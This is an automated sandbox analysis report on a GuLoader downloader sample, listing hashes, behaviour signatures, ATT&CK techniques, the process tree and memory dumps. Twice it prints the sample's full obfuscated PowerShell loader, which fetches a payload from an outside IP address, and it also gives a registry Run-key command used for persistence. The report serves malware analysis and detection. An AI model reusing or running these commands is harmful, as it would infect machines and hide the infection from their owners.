guloader | 1287bc216a77dc66a6a155218d72fa3e2a9cfbfa12cd731983821e8f04e52985

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2024, 01:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b523b20d9df02eaf3cdbb3babbc50ac7cea1889c7a3f561d586b001c02615f8a.cmd
Size 5KB
Sample240504-bvbjhshf71
SHA256 b523b20d9df02eaf3cdbb3babbc50ac7cea1889c7a3f561d586b001c02615f8a
MD5 69288c7e16a8ce2177346b2c62231603
SHA1 87f0dad6634d4e6bedad3b505adb6c509fdc5f03
SHA512 2b4035d3c147b53a28514d6ae03224ab16a68d6db122d213bd59f9bc85858bf74a26b57e3a4cead6a996b2dcdb530d7a669e72b79ee67d4f725e5dcbdc6306ef
SSDEEP 96:W2J7XNnRpI3qk7SSeg72yJjXrGMD5ZIYDBFSxGf1uTiEVc/W5EyQcvckuh:h5twqk7SSN7bBZHFs1DV8YXtcD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader execution persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	3312	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3312	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stagenes = "%Frihjulets% -w 1 $Gyps224=(Get-ItemProperty -Path 'HKCU:\\Bundfloraernes\\').Equalized;%Frihjulets% ($Gyps224)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2384	wab.exe
2384	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1028	powershell.exe
2384	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1028 set thread context of 2384	1028	powershell.exe	107

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4428	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3312	powershell.exe
3312	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1028	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	1028	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2384	wab.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 5332 wrote to memory of 3312	5332	cmd.exe	86
PID 5332 wrote to memory of 3312	5332	cmd.exe	86
PID 3312 wrote to memory of 4572	3312	powershell.exe	88
PID 3312 wrote to memory of 4572	3312	powershell.exe	88
PID 3312 wrote to memory of 1028	3312	powershell.exe	102
PID 3312 wrote to memory of 1028	3312	powershell.exe	102
PID 3312 wrote to memory of 1028	3312	powershell.exe	102
PID 1028 wrote to memory of 5196	1028	powershell.exe	104
PID 1028 wrote to memory of 5196	1028	powershell.exe	104
PID 1028 wrote to memory of 5196	1028	powershell.exe	104
PID 1028 wrote to memory of 2384	1028	powershell.exe	107
PID 1028 wrote to memory of 2384	1028	powershell.exe	107
PID 1028 wrote to memory of 2384	1028	powershell.exe	107
PID 1028 wrote to memory of 2384	1028	powershell.exe	107
PID 1028 wrote to memory of 2384	1028	powershell.exe	107
PID 2384 wrote to memory of 6080	2384	wab.exe	108
PID 2384 wrote to memory of 6080	2384	wab.exe	108
PID 2384 wrote to memory of 6080	2384	wab.exe	108
PID 6080 wrote to memory of 4428	6080	cmd.exe	110
PID 6080 wrote to memory of 4428	6080	cmd.exe	110
PID 6080 wrote to memory of 4428	6080	cmd.exe	110

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b523b20d9df02eaf3cdbb3babbc50ac7cea1889c7a3f561d586b001c02615f8a.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:5332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Nabolandenes = 1;$Kapsle='S';$Kapsle+='ubstrin';$Kapsle+='g';Function Handig($Fyldepenneblkket){$Bytteforholdet=$Fyldepenneblkket.Length-$Nabolandenes;For($Columbaries=4; $Columbaries -lt $Bytteforholdet; $Columbaries+=(5)){$Festskriftets+=$Fyldepenneblkket.$Kapsle.Invoke( $Columbaries, $Nabolandenes);}$Festskriftets;}function Xerotherm($Drapers){& ($Normalprisen) ($Drapers);}$Palmehavers=Handig 'K njMResaoAfstznedsiFestl urlFokuaUnr /half5Re,u. Unb0bld Tan(PostWFrekiSpeenGarddv,cioInf.wSings Hea BracN RoqTL.at Babo1D,mi0Qq.a.Sten0Prop;Thec DefiWNonciEtagnOpry6Amel4Topc;Gela HetzxIndk6Comp4F.rt;Bill Erhvr Denv N.n:.syc1Basi2sdsu1ge t.Jens0 Spa)Prim UnboGStameSleec,fskkLovloMain/ .om2Nulp0Carb1F rr0Reor0Offi1.ykk0Ahis1Tffe TreF Twoiunwrr DiseSvrdfGattos,rix Ibr/Poli1Far.2Dump1 As .Enhy0Thus ';$Nysseliges=Handig ',undU Eges ignesnotr Ins-AlbuA,lleg,useeUpstnIsoitAnni ';$Fordommes=Handig ' odeh ZigtGacatJ,jup Fl,:.ent/B gg/ lor8Aden7Tors.Do.m1Mult2 Und1dy,n.unbr1cute0 Reg5Appl.Mast1 ic6A mb3Dete/FiltTUnexeKonsrwa.smAut.i rovnSka.aStocl PatjBipaoTigebD sk.OvertMetaoEkspcRhab ';$Problemanalysernes=Handig 'Uro.>Fe.l ';$Normalprisen=Handig 'Mic.iSkaaeRegex Str ';$Schizophasia='Heterozygotes';Xerotherm (Handig 'UndeSRegoePas.tDehu- Je C Stio UnsnGeomtUnteeTalln Re.tSpir Stil-BeatPImpra StetplurhSl.g Ko,mT H.b:Part\Sp,nK.also,mpir AlysNitre W mtSemisMonr.T.att Ch xs,nstDisp ,fsk-FuglV La,aTipslSkaruLa,se Bo lr t$ uscSMisac HydhR.kei looz KigoRep.pLderhAcicaDisrsAppeiAggra,rro;Ge e ');Xerotherm (Handig ' S,pi Chef ,or Labr(AaletFacoe TorsDub tindk- StrpMalaaHeavtTi.eh,ndi H neT Li.:sp l\DemoKAbsooRekorMenisA.foeUnsctUn es.eta.UnibtBentx Adet A.s)Kvin{eksae Pasx,oeci RentEqua} Fer;trop ');$Wedeln = Handig 'NonmedemycBedeh iewoFor edan%kon.al,plpFarmpMakedAra aWoodtBisuaRaft% Gen\Ma,ePRikslTilleSpaau oodrFun.oSenstForbhC.mpoLys,t Tito Ca nUnblu Ma,sAmer.ImprDDistiDi,il Las Gara&Post&Staf C,loeF.tocGennhFangoChi, Tor$Over ';Xerotherm (Handig 'tore$ mangOthilTriloUnstbTr,na.aval ove:paabSOpt.w EngeDir.eLus pAntryT pe=Gaze(S ecc StrmPnhedUdda Fejl/,avlcPr t Utl$,agsWTrine,ilbd DydeFly.lTy.inKar.)Plat ');Xerotherm (Handig 'Pr s$BriegStral ,odoNo,ib ,ndaIntelSu.e:FacoD CleeDo.ab PriaNarktbeeftKonte VaraBramtUds.rCam eIc.nn StoeUtths Reu=Tall$PlamFAn.no F rrStradc.iboDisgmNstemIns,eKlarsCali.Pr bsdetepKr,vlReaciSangt Urf(Gill$TeisP Sk.rE spoPrombB tol DomeCuttmT,lda.allnRhamaJordlopryyPicksWo keArtsrBox.n PrleA,etsAfsp)Slad ');$Fordommes=$Debatteatrenes[0];Xerotherm (Handig ' era$Leucg irklSpeeoF.nabEncaaBal,lCent:B atUStj.rOplaeAmphtGeore f arSouroBagggfor.r ephaLoc.pA sehBars=AlfaN redeKaglwBlyg- accO AntbForlj BoneUgudcAntetDiff LogaSPulvyKonfs A btBilleN,dumMikr.AtomNSysteHetetM.ni.,andWMarke.ussb Si.CS lvlPh.ni P,ceNondnQuintOpsp ');Xerotherm (Handig 'Spin$,jouUBehjrAnt,eTro,tAfstebrikrI.dsoArbegSupprAdgaaReflp Ambh Ec..ToplHGlobeS,beaBedudgrateMor.rOpb,s Kon[Scra$ManaNlaunyFlods AersAfske ranlRekli Limg .ine ForsShee]Hs.p=Cycl$RegnPM.shaStvllEftemIndfe ca,hLegea picvHulkePerir.lens ,im ');$coriariaceous=Handig 'sce Uemb,rBajaeHvaltGrameGeotrZoetoUrangTaburPyroaButtpin,ahLaa . JydDMinno ,dew Mian Karl chioBl eaWhirdSk,lFBlowiH ccla,tieCy,n(Nool$ ubiFNo,ioProcrFrysdShibo y gmr comHisteOphisRetu,Fug $ene,SBaksaMicrnAfladAnnofUncaaPseunuppegKlo,)Anr, ';$coriariaceous=$Sweepy[1]+$coriariaceous;$Sandfang=$Sweepy[0];Xerotherm (Handig 'El.a$EclagTvivlUnbioyeltbSaniaEdd.lTeu,:Hyd.DMa.doTan,y Labe.eatn obenStoue RetsRosi=Os,e(Afs.TRokeeSaf sP,dit Im,- UngPMyoka ContSciuhgrup Cong$Upr SChama ThenStubdBrodfSu,eaDonknAfkrgPost) clu ');while (!$Doyennes) {Xerotherm (Handig 'Deg $VedlgKlasl Sldo.ancbRmera ehalHeat:.ranKfleuiAntil UndoOpkamPreieSammtPrverAfbiiDegecIn.eaEntelLign4Over1Boul=S kk$ IrgtJe,nrTseauRessePatb ') ;Xerotherm $coriariaceous;Xerotherm (Handig 'D,nuSUntetB,igaAeror ,autPy,r-LetvSIod lS,roeRegae S epUr d Alv4 c.l ');Xerotherm (Handig ' Ac,$StorgT,rmlB.odo B,ybScroa Su,l st,:BrebD E,poYampy Fore Ampn BalnAfbiehe.asCres=bre.(T llTComse Sprs Subt Fle-Be,lPFilaaCoditInddhRe,r fred$ ,nnSgarpastrinNon.d ,apf FagaCentnForrgUdla)ligh ') ;Xerotherm (Handig ' Hem$Hrfrg SholSvumo ForbFl.na Foolspru:K,kkRci eeCac,s,ctauopv r Bypr UnceStifc.lietHurliCiceo bo.no,ereL.nerQuin=Lync$ReingCuvel rreoExorb Lnna,isrlSupe: MusM.mitaHardrE,rekBonnuSan,s NonsPs c+Maga+Fje.% wis$SpalD ouaeMetabenkeaElektBr.stTagdeSamaa mentDourrMulteMetanNo ueSal sAero.GenacStevoViewuPlejnstortProa ') ;$Fordommes=$Debatteatrenes[$Resurrectioner];}Xerotherm (Handig 'Kask$PepogFernl ,apoD,ndb oma Seml oun:StepF MobeOverd retInflhPissaDeprsEn.re,aphnServeObjessemi jve=Skid FrstGBevieMongtB.aa-FortCBlodokulanProzt .iceVandn GaltProg Prog$P.ndSFedtaLtrvnE,esdK,odfIntea Fran StogNone ');Xerotherm (Handig 'Anie$Beneg fril ExpoT olbMonoaB.dalPanu: DipSSannt.ntirlif,gFarth A ga Im nBl,edAmtslCompe P.onCa,asCond Diff= Tri S.at[T aiS ucy GodsSta,tKreseCe am .ap.TanaCT.oko.rydnS rbvI,dgeForbrRufutetat]Nost: A i:SystF Silr IndoForvmStarBE traPyros BygeE.gr6 Ind4L tiS BeatAl ar MisiTe lnTakngKnor(nedb$TheiFBarseHanddRegitReprhSgekaA,essE,eneDishnUnhaeInstsUnde)Madr ');Xerotherm (Handig ' Str$ AangNdr,l,scooundebMu ta Empl cas: .taKRa da C,lsRivni shenAg moK.ndeHighrRi,en,ouleMacrs,alv Mag.= ag, Thyr[SalgS .koyGlucsM,latStudeVoltmP.sq.E.trT Sc e s.oxTesttJust. ,trEPersnTranc Sano Cadd.mtsiScotnpjatgEccr] Zin: Air: PriALiniS RetCBegrI .epI et.pecuGo iee SkrtRecaSLanatBaggrisoriSleen C,igo to(Ind,$CervS Undt.ookr omrg Ar,hVolvaPortnSemidInvalFlkke RmnnRublsBedr),ati ');Xerotherm (Handig ' Soc$Savig Sa,l,rugomimibNyheapinklFrti:Et iTKillo rvemKry.mUnsaiStrieLu i= Pro$FlueKO,tiaRatisSp,liKontnStivoN bbehemorBestnAntieVests Ud .Djv.s Konu JaybWai,s LaetNej,r K li gednGaulg,vic( Aa,2Flel9Sold8Galv0over4N,le3Boll,Gemm2Mira7H us8Loun6Febe3Htte)Judg ');Xerotherm $Tommie;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Pleurothotonus.Dil && echo $"
    3⤵
    PID:4572
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Nabolandenes = 1;$Kapsle='S';$Kapsle+='ubstrin';$Kapsle+='g';Function Handig($Fyldepenneblkket){$Bytteforholdet=$Fyldepenneblkket.Length-$Nabolandenes;For($Columbaries=4; $Columbaries -lt $Bytteforholdet; $Columbaries+=(5)){$Festskriftets+=$Fyldepenneblkket.$Kapsle.Invoke( $Columbaries, $Nabolandenes);}$Festskriftets;}function Xerotherm($Drapers){& ($Normalprisen) ($Drapers);}$Palmehavers=Handig 'K njMResaoAfstznedsiFestl urlFokuaUnr /half5Re,u. Unb0bld Tan(PostWFrekiSpeenGarddv,cioInf.wSings Hea BracN RoqTL.at Babo1D,mi0Qq.a.Sten0Prop;Thec DefiWNonciEtagnOpry6Amel4Topc;Gela HetzxIndk6Comp4F.rt;Bill Erhvr Denv N.n:.syc1Basi2sdsu1ge t.Jens0 Spa)Prim UnboGStameSleec,fskkLovloMain/ .om2Nulp0Carb1F rr0Reor0Offi1.ykk0Ahis1Tffe TreF Twoiunwrr DiseSvrdfGattos,rix Ibr/Poli1Far.2Dump1 As .Enhy0Thus ';$Nysseliges=Handig ',undU Eges ignesnotr Ins-AlbuA,lleg,useeUpstnIsoitAnni ';$Fordommes=Handig ' odeh ZigtGacatJ,jup Fl,:.ent/B gg/ lor8Aden7Tors.Do.m1Mult2 Und1dy,n.unbr1cute0 Reg5Appl.Mast1 ic6A mb3Dete/FiltTUnexeKonsrwa.smAut.i rovnSka.aStocl PatjBipaoTigebD sk.OvertMetaoEkspcRhab ';$Problemanalysernes=Handig 'Uro.>Fe.l ';$Normalprisen=Handig 'Mic.iSkaaeRegex Str ';$Schizophasia='Heterozygotes';Xerotherm (Handig 'UndeSRegoePas.tDehu- Je C Stio UnsnGeomtUnteeTalln Re.tSpir Stil-BeatPImpra StetplurhSl.g Ko,mT H.b:Part\Sp,nK.also,mpir AlysNitre W mtSemisMonr.T.att Ch xs,nstDisp ,fsk-FuglV La,aTipslSkaruLa,se Bo lr t$ uscSMisac HydhR.kei looz KigoRep.pLderhAcicaDisrsAppeiAggra,rro;Ge e ');Xerotherm (Handig ' S,pi Chef ,or Labr(AaletFacoe TorsDub tindk- StrpMalaaHeavtTi.eh,ndi H neT Li.:sp l\DemoKAbsooRekorMenisA.foeUnsctUn es.eta.UnibtBentx Adet A.s)Kvin{eksae Pasx,oeci RentEqua} Fer;trop ');$Wedeln = Handig 'NonmedemycBedeh iewoFor edan%kon.al,plpFarmpMakedAra aWoodtBisuaRaft% Gen\Ma,ePRikslTilleSpaau oodrFun.oSenstForbhC.mpoLys,t Tito Ca nUnblu Ma,sAmer.ImprDDistiDi,il Las Gara&Post&Staf C,loeF.tocGennhFangoChi, Tor$Over ';Xerotherm (Handig 'tore$ mangOthilTriloUnstbTr,na.aval ove:paabSOpt.w EngeDir.eLus pAntryT pe=Gaze(S ecc StrmPnhedUdda Fejl/,avlcPr t Utl$,agsWTrine,ilbd DydeFly.lTy.inKar.)Plat ');Xerotherm (Handig 'Pr s$BriegStral ,odoNo,ib ,ndaIntelSu.e:FacoD CleeDo.ab PriaNarktbeeftKonte VaraBramtUds.rCam eIc.nn StoeUtths Reu=Tall$PlamFAn.no F rrStradc.iboDisgmNstemIns,eKlarsCali.Pr bsdetepKr,vlReaciSangt Urf(Gill$TeisP Sk.rE spoPrombB tol DomeCuttmT,lda.allnRhamaJordlopryyPicksWo keArtsrBox.n PrleA,etsAfsp)Slad ');$Fordommes=$Debatteatrenes[0];Xerotherm (Handig ' era$Leucg irklSpeeoF.nabEncaaBal,lCent:B atUStj.rOplaeAmphtGeore f arSouroBagggfor.r ephaLoc.pA sehBars=AlfaN redeKaglwBlyg- accO AntbForlj BoneUgudcAntetDiff LogaSPulvyKonfs A btBilleN,dumMikr.AtomNSysteHetetM.ni.,andWMarke.ussb Si.CS lvlPh.ni P,ceNondnQuintOpsp ');Xerotherm (Handig 'Spin$,jouUBehjrAnt,eTro,tAfstebrikrI.dsoArbegSupprAdgaaReflp Ambh Ec..ToplHGlobeS,beaBedudgrateMor.rOpb,s Kon[Scra$ManaNlaunyFlods AersAfske ranlRekli Limg .ine ForsShee]Hs.p=Cycl$RegnPM.shaStvllEftemIndfe ca,hLegea picvHulkePerir.lens ,im ');$coriariaceous=Handig 'sce Uemb,rBajaeHvaltGrameGeotrZoetoUrangTaburPyroaButtpin,ahLaa . JydDMinno ,dew Mian Karl chioBl eaWhirdSk,lFBlowiH ccla,tieCy,n(Nool$ ubiFNo,ioProcrFrysdShibo y gmr comHisteOphisRetu,Fug $ene,SBaksaMicrnAfladAnnofUncaaPseunuppegKlo,)Anr, ';$coriariaceous=$Sweepy[1]+$coriariaceous;$Sandfang=$Sweepy[0];Xerotherm (Handig 'El.a$EclagTvivlUnbioyeltbSaniaEdd.lTeu,:Hyd.DMa.doTan,y Labe.eatn obenStoue RetsRosi=Os,e(Afs.TRokeeSaf sP,dit Im,- UngPMyoka ContSciuhgrup Cong$Upr SChama ThenStubdBrodfSu,eaDonknAfkrgPost) clu ');while (!$Doyennes) {Xerotherm (Handig 'Deg $VedlgKlasl Sldo.ancbRmera ehalHeat:.ranKfleuiAntil UndoOpkamPreieSammtPrverAfbiiDegecIn.eaEntelLign4Over1Boul=S kk$ IrgtJe,nrTseauRessePatb ') ;Xerotherm $coriariaceous;Xerotherm (Handig 'D,nuSUntetB,igaAeror ,autPy,r-LetvSIod lS,roeRegae S epUr d Alv4 c.l ');Xerotherm (Handig ' Ac,$StorgT,rmlB.odo B,ybScroa Su,l st,:BrebD E,poYampy Fore Ampn BalnAfbiehe.asCres=bre.(T llTComse Sprs Subt Fle-Be,lPFilaaCoditInddhRe,r fred$ ,nnSgarpastrinNon.d ,apf FagaCentnForrgUdla)ligh ') ;Xerotherm (Handig ' Hem$Hrfrg SholSvumo ForbFl.na Foolspru:K,kkRci eeCac,s,ctauopv r Bypr UnceStifc.lietHurliCiceo bo.no,ereL.nerQuin=Lync$ReingCuvel rreoExorb Lnna,isrlSupe: MusM.mitaHardrE,rekBonnuSan,s NonsPs c+Maga+Fje.% wis$SpalD ouaeMetabenkeaElektBr.stTagdeSamaa mentDourrMulteMetanNo ueSal sAero.GenacStevoViewuPlejnstortProa ') ;$Fordommes=$Debatteatrenes[$Resurrectioner];}Xerotherm (Handig 'Kask$PepogFernl ,apoD,ndb oma Seml oun:StepF MobeOverd retInflhPissaDeprsEn.re,aphnServeObjessemi jve=Skid FrstGBevieMongtB.aa-FortCBlodokulanProzt .iceVandn GaltProg Prog$P.ndSFedtaLtrvnE,esdK,odfIntea Fran StogNone ');Xerotherm (Handig 'Anie$Beneg fril ExpoT olbMonoaB.dalPanu: DipSSannt.ntirlif,gFarth A ga Im nBl,edAmtslCompe P.onCa,asCond Diff= Tri S.at[T aiS ucy GodsSta,tKreseCe am .ap.TanaCT.oko.rydnS rbvI,dgeForbrRufutetat]Nost: A i:SystF Silr IndoForvmStarBE traPyros BygeE.gr6 Ind4L tiS BeatAl ar MisiTe lnTakngKnor(nedb$TheiFBarseHanddRegitReprhSgekaA,essE,eneDishnUnhaeInstsUnde)Madr ');Xerotherm (Handig ' Str$ AangNdr,l,scooundebMu ta Empl cas: .taKRa da C,lsRivni shenAg moK.ndeHighrRi,en,ouleMacrs,alv Mag.= ag, Thyr[SalgS .koyGlucsM,latStudeVoltmP.sq.E.trT Sc e s.oxTesttJust. ,trEPersnTranc Sano Cadd.mtsiScotnpjatgEccr] Zin: Air: PriALiniS RetCBegrI .epI et.pecuGo iee SkrtRecaSLanatBaggrisoriSleen C,igo to(Ind,$CervS Undt.ookr omrg Ar,hVolvaPortnSemidInvalFlkke RmnnRublsBedr),ati ');Xerotherm (Handig ' Soc$Savig Sa,l,rugomimibNyheapinklFrti:Et iTKillo rvemKry.mUnsaiStrieLu i= Pro$FlueKO,tiaRatisSp,liKontnStivoN bbehemorBestnAntieVests Ud .Djv.s Konu JaybWai,s LaetNej,r K li gednGaulg,vic( Aa,2Flel9Sold8Galv0over4N,le3Boll,Gemm2Mira7H us8Loun6Febe3Htte)Judg ');Xerotherm $Tommie;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Pleurothotonus.Dil && echo $"
      4⤵
      PID:5196
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2384
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagenes" /t REG_EXPAND_SZ /d "%Frihjulets% -w 1 $Gyps224=(Get-ItemProperty -Path 'HKCU:\Bundfloraernes\').Equalized;%Frihjulets% ($Gyps224)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:6080
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagenes" /t REG_EXPAND_SZ /d "%Frihjulets% -w 1 $Gyps224=(Get-ItemProperty -Path 'HKCU:\Bundfloraernes\').Equalized;%Frihjulets% ($Gyps224)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_zuy4sxew.05x.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zuy4sxew.05x.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Pleurothotonus.Dil

Path C:\Users\Admin\AppData\Roaming\Pleurothotonus.Dil
Size 424KB
SHA256 3170f4ae0528f9ac45add13828e68c6b5c6e17755f94da373761cbddf1f19478
MD5 9dd669d385b1e1c723a1a9f0d2db8998
SHA1 e14218e850f50f64bcd4c3f68ebcfe483b1f5f45
SHA512 8d001eb7d0e2c3c85c3dd536faa89f565f8978fa24be8efccab88b7c6e4f33d3bf870f6b71ac2fb456db9d619a8966a12bd7113cc97f44f39a9e3e52661df1bd
SSDEEP 6144:NBXoBavqRevWWBngpxZwxLIrQN2VmHlHrNvKNo4teKyad8019ebiaHjK:NlogO5Wdg/qxLIsN2VwHrNt4tU8sXHjK
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1028-37-0x0000000005CB0000-0x0000000005CFC000-memory.dmp

Download

memory/1028-39-0x0000000006230000-0x000000000624A000-memory.dmp

Download

memory/1028-54-0x0000000074D40000-0x00000000754F0000-memory.dmp

Download

memory/1028-52-0x0000000074D40000-0x00000000754F0000-memory.dmp

Download

memory/1028-18-0x0000000074D4E000-0x0000000074D4F000-memory.dmp

Download

memory/1028-19-0x00000000046E0000-0x0000000004716000-memory.dmp

Download

memory/1028-20-0x0000000074D40000-0x00000000754F0000-memory.dmp

Download

memory/1028-21-0x0000000004D50000-0x0000000005378000-memory.dmp

Download

memory/1028-22-0x0000000074D40000-0x00000000754F0000-memory.dmp

Download

memory/1028-23-0x00000000053C0000-0x00000000053E2000-memory.dmp

Download

memory/1028-24-0x00000000055A0000-0x0000000005606000-memory.dmp

Download

memory/1028-25-0x0000000005610000-0x0000000005676000-memory.dmp

Download

memory/1028-35-0x0000000005680000-0x00000000059D4000-memory.dmp

Download

memory/1028-36-0x0000000005C80000-0x0000000005C9E000-memory.dmp

Download

memory/1028-51-0x0000000074D4E000-0x0000000074D4F000-memory.dmp

Download

memory/1028-44-0x00000000086A0000-0x0000000009CB9000-memory.dmp

Download

memory/1028-38-0x00000000074C0000-0x0000000007B3A000-memory.dmp

Download

memory/1028-40-0x0000000006F30000-0x0000000006FC6000-memory.dmp

Download

memory/1028-41-0x0000000006E40000-0x0000000006E62000-memory.dmp

Download

memory/1028-42-0x00000000080F0000-0x0000000008694000-memory.dmp

Download

memory/2384-53-0x0000000000940000-0x0000000001B94000-memory.dmp

Download

memory/2384-55-0x0000000001BA0000-0x00000000031B9000-memory.dmp

Download

memory/3312-45-0x00007FFB62713000-0x00007FFB62715000-memory.dmp

Download

memory/3312-8-0x0000023672D90000-0x0000023672DB2000-memory.dmp

Download

memory/3312-2-0x00007FFB62713000-0x00007FFB62715000-memory.dmp

Download

memory/3312-46-0x00007FFB62710000-0x00007FFB631D1000-memory.dmp

Download

memory/3312-13-0x00007FFB62710000-0x00007FFB631D1000-memory.dmp

Download

memory/3312-15-0x00007FFB62710000-0x00007FFB631D1000-memory.dmp

Download

memory/3312-14-0x00007FFB62710000-0x00007FFB631D1000-memory.dmp

Download

memory/3312-58-0x00007FFB62710000-0x00007FFB631D1000-memory.dmp

Download